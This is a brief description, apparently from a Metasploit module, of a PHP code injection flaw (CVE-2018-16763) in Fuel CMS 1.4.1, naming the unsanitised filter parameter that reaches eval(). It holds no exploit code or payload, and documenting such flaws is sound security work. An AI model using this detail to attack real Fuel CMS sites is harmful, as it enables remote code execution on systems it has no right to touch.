    [+] Summary    : This Metasploit module targets a Remote Code Execution (CVE-2018-16763) vulnerability in Fuel CMS version 1.4.1. 
                     The issue stems from improper input sanitization in the filter parameter, which is passed into a dangerous PHP evaluation context (eval()), enabling code injection.

             This mod exploits a PHP code injection vulnerability in Fuel CMS version 1.4.1.
             The vulnerability arises because unfiltered input is passed to the eval() function, allowing remote system command execution.
